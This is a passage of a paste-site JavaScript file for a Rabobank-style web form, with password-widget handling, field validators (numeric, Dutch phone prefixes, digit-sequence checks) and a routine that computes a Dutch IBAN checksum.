  958.     },
  959.     handlePasswordWidgetFocus: function (e) {
  960.         var obj = RASS.getActiveElm(e);
  961.         obj.value = '';
  962.         RASS.resetPasswordWidgetState(obj);
  963.         RASS.addClass(obj.submasks[0], "active");
  964.     },
  965.     highlightPasswordWidget: function (obj) {
  966.         for (var t = 0; t < obj.submasks.length; t++) {
  967.             if (obj.value.length < obj.submasks.length) {
  968.                 RASS.removeClass(obj.submasks[obj.value.length], "touched");
  969.             }
  970.  
  971.             RASS.removeClass(obj.submasks[t], "active");
  972.             if (t < obj.value.length) {
  973.                 RASS.addClass(obj.submasks[t], "touched");
  974.             }
  975.             if (t === obj.value.length && obj.value.length < obj.submasks.length) {
  976.                 RASS.addClass(obj.submasks[t], "active");
  977.             }
  978.             if (obj.value.length === obj.submasks.length) {
  979.                 RASS.removeClass(obj.submasks[t], "active");
  980.                 RASS.addClass(obj.submasks[t], "touched");
  981.             }
  982.         }
  983.     },
  984.     resetPasswordWidgetState: function (obj, limit) {
  985.  
  986.         RASS.dpoPWfield.value = '';
  987.         limit = (limit != null) ? limit : 0;
  988.         RASS.removeClass(obj.parentNode.parentNode, "haserror");
  989.         for (var t = obj.maxLength - 1; t >= limit; t--) {
  990.             RASS.removeClass(obj.submasks[t], "touched");
  991.             RASS.removeClass(obj.submasks[t], "active");
  992.         }
  993.  
  994.     },
  995.     forceNoPWStorage: function () {
  996.  
  997.         var aelms = document.getElementsByTagName('input');
  998.         var cnt = 0;
  999.         var lcntobj;
  1000.         for (var pw = 0; pw < aelms.length; pw++) {
  1001.  
  1002.             if (aelms[pw].type == "password") {
  1003.                 cnt++;
  1004.                 lcntobj = aelms[pw];
  1005.             }
  1006.  
  1007.         }
  1008.  
  1009.         //If only one password field then add dummy field (pw storage is not triggered when 2 or more password fields exist)
  1010.         if (cnt == 1) {
  1011.  
  1012.             //hack with extra dummy password field to avoid prefilling in IOS
  1013.             var dmpw = document.createElement('input');
  1014.             dmpw.type = 'password';
  1015.             dmpw.name = 'dummypass';
  1016.             dmpw.value = 'dummyvalue';
  1017.             dmpw.style.display = 'inline';
  1018.             dmpw.style.width = '0';
  1019.             dmpw.style.height = '0';
  1020.             dmpw.style.border = 'none';
  1021.             dmpw.style.margin = '0';
  1022.             dmpw.style.padding = '0';
  1023.             document.body.appendChild(dmpw);
  1024.         }
  1025.  
  1026.  
  1027.     },
  1028.     doServerActions: function () {
  1029.  
  1030.         if (document.getElementById('rass-serveraction-showtop') != undefined) {
  1031.  
  1032.             //check for existing hash sign
  1033.             if (location.hash != undefined) {
  1034.  
  1035.                 //scroll to defined id
  1036.                 location.hash = 'rass-serveraction-showtop';
  1037.             }
  1038.         }
  1039.  
  1040.  
  1041.     },
  1042.     checkForServerActions: function () {
  1043.  
  1044.         if (document.getElementById('rass-serveraction-showtop') != undefined) {
  1045.  
  1046.             //check for existing hash sign
  1047.             if (location.hash != undefined) {
  1048.  
  1049.                 //scroll to defined id
  1050.                 location.hash = 'rass-serveraction-showtop';
  1051.             }
  1052.         }
  1053.  
  1054.     },
  1055.     checkForServerMessages: function () {
  1056.  
  1057.         //Check for servermessages to show in popup
  1058.  
  1059.         if (RASS.isMobileDevice) {
  1060.  
  1061.             var msgwrp = document.getElementById('rass-serveraction-showalert');
  1062.             if (msgwrp != undefined) {
  1063.                 var msgcont = msgwrp.getElementsByTagName('div')[0];
  1064.                 if (msgcont != undefined) {
  1065.                     var smsg = msgcont.innerHTML;
  1066.                     msgcont.innerHTML = '';
  1067.                     if (smsg != '') {
  1068.                         alert(RASS.doReplaceEntities(smsg));
  1069.                     }
  1070.                 }
  1071.             }
  1072.         }
  1073.  
  1074.  
  1075.     },
  1076.     doReplaceEntities: function (s) {
  1077.         var ret = s.replace('&nbsp;', ' ');
  1078.         return ret;
  1079.     },
  1080.     doMobileCheck: function () {
  1081.         var check = false;
  1082.         (function (a, b) {
  1083.             if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0, 4)))
  1084.                 check = true
  1085.         })(navigator.userAgent || navigator.vendor || window.opera);
  1086.         return check;
  1087.     },
  1088.     doTouchCheck: function () {
  1089.         return ('ontouchstart' in window) || window.DocumentTouch && document instanceof DocumentTouch;
  1090.     },
  1091.     grabEvent: function (tobj, evnt, fnc) {
  1092.  
  1093.         if (typeof tobj !== 'object') {
  1094.             tobj = document.getElementById(tobj);
  1095.         }
  1096.  
  1097.         if (tobj != undefined) {
  1098.  
  1099.             if (window.addEventListener) { // modern browsers including IE9+
  1100.                 tobj.addEventListener(evnt, fnc, false);
  1101.             } else if (window.attachEvent) { // IE8 and below
  1102.                 tobj.attachEvent('on' + evnt, fnc);
  1103.             } else {
  1104.                 tobj['on' + evnt] = fnc;
  1105.             }
  1106.  
  1107.         }
  1108.  
  1109.     },
  1110.     resetNumkey: function (e) {
  1111.  
  1112.         if (RASS.isMobileDevice) {
  1113.             var dobj = RASS.getActiveElm(e);
  1114.             dobj.stype = dobj.type;
  1115.             dobj.setAttribute('type', dobj.stype);
  1116.             dobj.removeAttribute('pattern');
  1117.             dobj.removeAttribute('max');
  1118.         }
  1119.  
  1120.     },
  1121.     forceNumkey: function (e) {
  1122.  
  1123.         if (RASS.isMobileDevice) {
  1124.             var dobj = RASS.getActiveElm(e);
  1125.             dobj.stype = dobj.type;
  1126.             dobj.setAttribute('type', 'number');
  1127.             dobj.setAttribute('pattern', '[0-9]*');
  1128.             dobj.setAttribute('max', dobj.maxLength);
  1129.         }
  1130.  
  1131.     },
  1132.     //!! validation methods must not use camelcased names !!
  1133.  
  1134.     islength: function (val, len) {
  1135.         if (val.length != len) {
  1136.             return false;
  1137.         } else {
  1138.             return true;
  1139.         }
  1140.     },
  1141.     isclength: function (val, len) {
  1142.         if (val.replace(/\s/g, '').length != len) {
  1143.             return false;
  1144.         } else {
  1145.             return true;
  1146.         }
  1147.     },
  1148.     isbadchars: function (val) {
  1149.         if (val.match(/[\<\>#&\;\/\\]+/i)) {
  1150.             return false;
  1151.         } else {
  1152.             return true;
  1153.         }
  1154.     },
  1155.     isnotsame: function (val) {
  1156.  
  1157.         if (val.length < 2) {
  1158.             return true;
  1159.         }
  1160.  
  1161.         //check for same numbers
  1162.         var aval = val.split("");
  1163.         var valid = false;
  1164.         for (var t = 0; t < aval.length - 1; t++) {
  1165.             if (aval[t] != aval[t + 1]) {
  1166.                 valid = true;
  1167.                 break;
  1168.             }
  1169.         }
  1170.  
  1171.         return valid;
  1172.     },
  1173.     issameas: function (val, prm) {
  1174.  
  1175.         var elma = document.getElementById(prm);
  1176.         if (elma != undefined) {
  1177.  
  1178.             var elmaval = elma.value;
  1179.             if (elmaval == val) {
  1180.                 return true;
  1181.             } else {
  1182.                 return false;
  1183.             }
  1184.  
  1185.         }
  1186.  
  1187.  
  1188.     },
  1189.     isnotdesc: function (val) {
  1190.  
  1191.         if (val.length < 2) {
  1192.             return true;
  1193.         }
  1194.  
  1195.         //check for enumerated down
  1196.         var aval = val.split("");
  1197.         var valid = false;
  1198.         for (var t = 0; t < aval.length - 1; t++) {
  1199.  
  1200.             if (aval[t + 1] != aval[t] * 1 - 1) {
  1201.  
  1202.                 valid = true;
  1203.                 break;
  1204.             }
  1205.         }
  1206.  
  1207.         return valid;
  1208.     },
  1209.     isnotasc: function (val) {
  1210.  
  1211.         if (val.length < 2) {
  1212.             return true;
  1213.         }
  1214.  
  1215.         //check for enumerated up
  1216.         var aval = val.split("");
  1217.         var valid = false;
  1218.         for (var t = 0; t < aval.length - 1; t++) {
  1219.  
  1220.             if (aval[t + 1] != aval[t] * 1 + 1) {
  1221.  
  1222.                 valid = true;
  1223.                 break;
  1224.             }
  1225.         }
  1226.  
  1227.         return valid;
  1228.     },
  1229.     isnumeric: function (val) {
  1230.  
  1231.         if (/^[0-9]+$/.test(val)) {
  1232.             return true;
  1233.         } else {
  1234.             return false;
  1235.         }
  1236.  
  1237.  
  1238.     },
  1239.     iscnumeric: function (val) {
  1240.  
  1241.         var tst = val.replace(/\s/g, '');
  1242.         if (/^[0-9]+$/.test(tst)) {
  1243.             return true;
  1244.         } else {
  1245.             return false;
  1246.         }
  1247.  
  1248.  
  1249.     },
  1250.     ishavingvc: function (val) {
  1251.  
  1252.         var cls = document.body.className;
  1253.         if (cls.indexOf('rass-state-hasvc') != -1) {
  1254.             return true;
  1255.         } else {
  1256.             return false;
  1257.         }
  1258.  
  1259.     },
  1260.     isphonenumber: function (val) {
  1261.  
  1262.  
  1263.         //check for non valid characters
  1264.         var tstchr = val.replace(/[^\d+\-\(\)]/g, '');
  1265.         //strip non number chars
  1266.         var tst = val.replace(/[^\d+]/g, '');
  1267.         //check first digit
  1268.         if (!(tst.substr(0, 1) == '+' || tst.substr(0, 1) == '0')) {
  1269.             return false;
  1270.         }
  1271.  
  1272.         //is foreign number, leave as is
  1273.         if ((tst.substr(0, 1) == '+' && tst.substr(1, 2) != '31') || (tst.substr(0, 2) == '00' && tst.substr(1, 2) != '31')) {
  1274.             return true;
  1275.         }
  1276.  
  1277.         //filter out actual identifier
  1278.         var pref = tst.substring(0, tst.length - 8);
  1279.         //check remainder for valid prefixes
  1280.         if (pref == '06' || pref == '00316' || pref == '003106' || pref == '+316' || pref == '+3106') {
  1281.             return true;
  1282.         }
  1283.  
  1284.         //not valid
  1285.         return false;
  1286.     },
  1287.     ismandatory: function (val) {
  1288.         return (val == '') ? false : true;
  1289.     },
  1290.     ismandatorylist: function (val, frm, trg) {
  1291.         //var srcElm = RASS.getActiveElm(e);
  1292.  
  1293.         var inplist = trg.getElementsByTagName('input');
  1294.         for (var t = 0; t < inplist.length; t++) {
  1295.             if (inplist[t].checked) {
  1296.                 return true;
  1297.             }
  1298.         }
  1299.  
  1300.         return false;
  1301.     },
  1302.     getActiveElm: function (e) {
  1303.         var evt = e || window.event;
  1304.         var telm = evt.target || evt.srcElement;
  1305.         return telm;
  1306.     },
  1307.     registerEvent: function (elm, evnt, func) {
  1308.  
  1309.         if (elm.addEventListener) {
  1310.             // For all major browsers, except IE 8 and earlier
  1311.             elm.addEventListener(evnt, func);
  1312.         } else if (elm.attachEvent) {
  1313.             // For IE 8 and earlier versions
  1314.             elm.attachEvent("on" + evnt, func);
  1315.         }
  1316.     },
  1317.     setActiveState: function (e) {
  1318.         var srcElm = RASS.getActiveElm(e);
  1319.         var tobj = srcElm.parentNode.parentNode.parentNode;
  1320.         RASS.addClass(tobj, 'rass-state-active');
  1321.     },
  1322.     cancelDefaultAction: function (e) {
  1323.  
  1324.         var evt = e ? e : window.event;
  1325.         if (evt.preventDefault) {
  1326.             evt.preventDefault();
  1327.         } else {
  1328.             evt.returnValue = false;
  1329.         }
  1330.  
  1331.         //return false;
  1332.  
  1333.     },
  1334.     handleFormSubmit: function (e) {
  1335.         var frmobj = RASS.getActiveElm(e);
  1336.         var initelm = RASS.pressedFormButton;
  1337.         //grab resubmit msg
  1338.         var resubmsg = frmobj.getAttribute('data-rass-resubmitmsg');
  1339.         //handle back button or 'skip validation'
  1340.         if (initelm.getAttribute('data-rass-behavior') == 'action-back' || initelm.getAttribute('data-rass-behavior') == 'skip-validation') {
  1341.             // Do nothing
  1342.  
  1343.             var pdo = {};
  1344.             pdo.e = e;
  1345.             pdo.msg = resubmsg;
  1346.             RASS.doReSubmitCheck(pdo);
  1347.             return true;
  1348.         }
  1349.  
  1350.  
  1351.         //handle cancel button
  1352.         if (initelm.getAttribute('data-rass-behavior') == 'action-cancel') {
  1353.  
  1354.             var stxt = initelm.getAttribute('data-rass-msg');
  1355.             if (!RASS.showConfirm(stxt)) {
  1356.                 RASS.cancelDefaultAction(e);
  1357.             } else {
  1358.                 return true;
  1359.             }
  1360.  
  1361.  
  1362.         } else {
  1363.  
  1364.             //input elements
  1365.             var colinpi = [].slice.call(frmobj.getElementsByTagName('input'));
  1366.             //section elements
  1367.             var colinps = [].slice.call(frmobj.getElementsByTagName('section'));
  1368.             var colinp = colinpi.concat(colinps);
  1369.             for (var i = 0; i < colinp.length; i++) {
  1370.                 if (colinp[i].type != 'submit' && colinp[i].type != 'button' && colinp[i].getAttribute('data-rass-msg') != undefined && colinp[i].getAttribute('disabled') != 'disabled') {
  1371.  
  1372.                     if (!RASS.validateField(colinp[i], true)) {
  1373.  
  1374.                         //invalid
  1375.                         RASS.cancelDefaultAction(e);
  1376.                         return false;
  1377.                     }
  1378.  
  1379.                 }
  1380.             }
  1381.  
  1382.             var pdo = {};
  1383.             pdo.e = e;
  1384.             pdo.msg = resubmsg;
  1385.             RASS.doReSubmitCheck(pdo);
  1386.             //no invalids found
  1387.             return true;
  1388.         }
  1389.  
  1390.  
  1391.  
  1392.  
  1393.     },
  1394.     showConfirm: function (stxt) {
  1395.         return(confirm(stxt));
  1396.     },
  1397.     //Beter crossbrowser implementation
  1398.     addClass: function (elem, value) {
  1399.         var rspaces = /\s+/;
  1400.         var classNames = (value || "").split(rspaces);
  1401.         var className = " " + elem.className + " ",
  1402.                 setClass = elem.className;
  1403.         for (var c = 0, cl = classNames.length; c < cl; c++) {
  1404.             if (className.indexOf(" " + classNames[c] + " ") < 0) {
  1405.                 setClass += " " + classNames[c];
  1406.             }
  1407.         }
  1408.         elem.className = setClass.replace(/^\s+|\s+$/g, ''); //trim
  1409.     },
  1410.     removeClass: function (elem, value) {
  1411.         var rspaces = /\s+/;
  1412.         var rclass = /[\n\t]/g
  1413.         var classNames = (value || "").split(rspaces);
  1414.         var className = (" " + elem.className + " ").replace(rclass, " ");
  1415.         for (var c = 0, cl = classNames.length; c < cl; c++) {
  1416.             className = className.replace(" " + classNames[c] + " ", " ");
  1417.         }
  1418.         elem.className = className.replace(/^\s+|\s+$/g, ''); //trim
  1419.     },
  1420.     showErrorMsg: function (elm, msg) {
  1421.         var perr = (elm.parentNode.tagName.toLowerCase() == 'label') ? elm.parentNode : elm.parentNode.parentNode.parentNode;
  1422.         RASS.addClass(perr, 'rass-state-error');
  1423.         var aerr = perr.getElementsByTagName('em');
  1424.         for (var t = 0; t < aerr.length; t++) {
  1425.             if (aerr[t].className == 'rass-ui-error') {
  1426.                 aerr[t].innerHTML = msg;
  1427.             }
  1428.         }
  1429.     },
  1430.     validateField: function (inp, frmcheck, nofeedback) {
  1431.  
  1432.         if (inp.nodeName == undefined) {
  1433.             //inp is an event
  1434.             var srcElem = RASS.getActiveElm(inp);
  1435.         } else {
  1436.             var srcElem = inp;
  1437.         }
  1438.  
  1439.         var fval = srcElem.value;
  1440.         var flen = srcElem.maxLength;
  1441.         var chklen = (srcElem.getAttribute('max-length') != undefined) ? true : false;
  1442.         //return on empty value
  1443.         if (fval == '' && !frmcheck) {
  1444.  
  1445.  
  1446.             //remove previous msgs
  1447.             RASS.showErrorMsg(srcElem, '');
  1448.             var perr = (srcElem.parentNode.tagName.toLowerCase() == 'label') ? srcElem.parentNode : srcElem.parentNode.parentNode.parentNode;
  1449.             RASS.removeClass(perr, 'rass-state-error');
  1450.             var svrerr = document.getElementById('rass-state-servererror');
  1451.             if (svrerr != undefined) {
  1452.                 svrerr.innerHTML = '';
  1453.             }
  1454.  
  1455.             return true;
  1456.         }
  1457.  
  1458.         //get validation definitions from field
  1459.         var sval = srcElem.getAttribute('data-rass-validation');
  1460.         if (sval != undefined) {
  1461.             var valcol = sval.split(' ');
  1462.             var parm = null;
  1463.             //loop through validations and check
  1464.             for (var t = 0; t < valcol.length; t++) {
  1465.  
  1466.  
  1467.                 var valitem = valcol[t];
  1468.                 if (valitem != '') {
  1469.  
  1470.                     //check for embedded parms
  1471.                     if (!isNaN(parseInt(valitem))) {
  1472.                         parm = parseInt(valcol[t]);
  1473.                         valitem = valitem.substr(parm.toString().length);
  1474.                     }
  1475.  
  1476.                     //check for pipe separated parms
  1477.                     if (valitem.indexOf('|') != -1) {
  1478.                         var aprm = valitem.split('|');
  1479.                         parm = aprm[1];
  1480.                         valitem = aprm[0];
  1481.                     }
  1482.  
  1483.                     var valid = RASS['is' + valitem](fval, parm, srcElem);
  1484.                     //not valid
  1485.                     if (!valid) {
  1486.  
  1487.                         var msgcol = srcElem.getAttribute('data-rass-msg').split('|');
  1488.                         if (t < msgcol.length) {
  1489.                             var smsg = msgcol[t];
  1490.                         } else {
  1491.                             var smsg = msgcol[msgcol.length - 1];
  1492.                         }
  1493.  
  1494.                         if (!nofeedback) {
  1495.                             RASS.showErrorMsg(srcElem, smsg);
  1496.                         }
  1497.  
  1498.                         return false;
  1499.                     }
  1500.  
  1501.                 }
  1502.  
  1503.  
  1504.  
  1505.             }
  1506.  
  1507.             //validation passed
  1508.  
  1509.             //remove previous error msgs
  1510.             RASS.showErrorMsg(srcElem, '');
  1511.             var svrerr = document.getElementById('rass-state-servererror');
  1512.             if (svrerr != undefined) {
  1513.                 svrerr.innerHTML = '';
  1514.             }
  1515.  
  1516.             var perr = (srcElem.parentNode.tagName.toLowerCase() == 'label') ? srcElem.parentNode : srcElem.parentNode.parentNode.parentNode;
  1517.             RASS.removeClass(perr, 'rass-state-error');
  1518.             return true;
  1519.         }
  1520.  
  1521.  
  1522.  
  1523.     },
  1524.     groupStringBy: function (nprfx, gn, str) {
  1525.         //nprfx = number of prefix characters used
  1526.  
  1527.         var aOut = [];
  1528.         var aStr = str.replace(/\s/g, '').split('');
  1529.         //add dummy prefix characters
  1530.         for (var t = 0; t < nprfx; t++) {
  1531.             aStr.unshift('0');
  1532.         }
  1533.  
  1534.         for (var i = 0; i < aStr.length; i++) {
  1535.             if ((i + 1) % 5 == 0) {
  1536.                 aStr.splice(i, 0, ' ');
  1537.             }
  1538.         }
  1539.         ;
  1540.         //remove dummy characters
  1541.         aStr.splice(0, nprfx);
  1542.         return aStr.join('');
  1543.     },
  1544.     removeChecksum: function (e) {
  1545.         var chksobj = document.getElementById('rass-extend-prefix');
  1546.         if (chksobj != undefined) {
  1547.             //chksobj.value = 'NL\u25CF\u25CF RABO 0';
  1548.             chksobj.innerHTML = 'NL \u2022 \u2022 RABO 0';
  1549.         }
  1550.     },
  1551.     calculateChecksum: function (inp, init) {
  1552.  
  1553.         if (inp.nodeName == undefined) {
  1554.             //inp is an event
  1555.             var srcElem = RASS.getActiveElm(inp);
  1556.         } else {
  1557.             var srcElem = inp;
  1558.         }
  1559.  
  1560.  
  1561.         var bban = srcElem.value;
  1562.         if (!init) {
  1563.             //validate
  1564.             if (!RASS.validateField(inp)) {
  1565.                 RASS.removeChecksum();
  1566.                 return false;
  1567.             }
  1568.         }
  1569.  
  1570.         //Format bban field
  1571.         var frmval = RASS.groupStringBy(1, 4, bban);
  1572.         srcElem.value = frmval;
  1573.         var tobj = srcElem.parentNode.parentNode.parentNode;
  1574.         RASS.removeClass(tobj, 'rass-state-active');
  1575.         //handle empty field
  1576.         if (bban == '') {
  1577.             RASS.removeChecksum();
  1578.             return false;
  1579.         }
  1580.  
  1581.         var chksobj = document.getElementById('rass-extend-prefix');
  1582.         var countrycode = '2321', // NL
  1583.                 bankcode = '27101124', // RABO
  1584.                 digitString,
  1585.                 lengthDigitString,
  1586.                 checksum,
  1587.                 m = 0,
  1588.                 i = 0;
  1589.         bban = bban.replace(/\s+/g, ''); // clean
  1590.  
  1591.         digitString = bankcode + '0' + bban + countrycode + '00';
  1592.         lengthDigitString = digitString.length;
  1593.         // Modulo 97 for huge numbers given as digit strings.
  1594.         for (; i < lengthDigitString; i += 1) {
  1595.             m = (m * 10 + parseInt(digitString.charAt(i), 10)) % 97;
  1596.         }
  1597.  
  1598.         checksum = '' + (98 - m);
  1599.         // Fill the string with leading zeros until length is reached.
  1600.         if (checksum.length < 2) {
  1601.             checksum = '0' + checksum;
  1602.         }
  1603.  
  1604.         //return checksum;
  1605.  
  1606.         //chksobj.removeAttribute('readonly');
  1607.         chksobj.innerHTML = 'NL' + checksum + '&nbsp;RABO&nbsp;0';
  1608.         //chksobj.setAttribute('readonly','readonly');
  1609.  
  1610.  
  1611.  
  1612.  
  1613.  
  1614.     }
  1615.  
  1616.  
  1617. }
  1618.  
  1619.  
  1620. //extend shortcommings for older browsers
  1621. if (!Array.prototype.indexOf)
  1622. {
  1623.     Array.prototype.indexOf = function (elt /*, from*/)
  1624.     {
  1625.         var len = this.length >>> 0;
  1626.         var from = Number(arguments[1]) || 0;
  1627.         from = (from < 0) ? Math.ceil(from) : Math.floor(from);
  1628.         if (from < 0)
  1629.             from += len;
  1630.         for (; from < len; from++)
  1631.         {
  1632.             if (from in this &&
  1633.                     this[from] === elt)
  1634.                 return from;
  1635.         }
  1636.         return -1;
  1637.     };
  1638. }
  1639.  
  1640. RASS.hasJS();
  1641. window.onload = function () {
  1642.     RASS.init();
  1643.     $(".loader-overlay1").hide();
  1644. };
Add Comment
Please, Sign In to add comment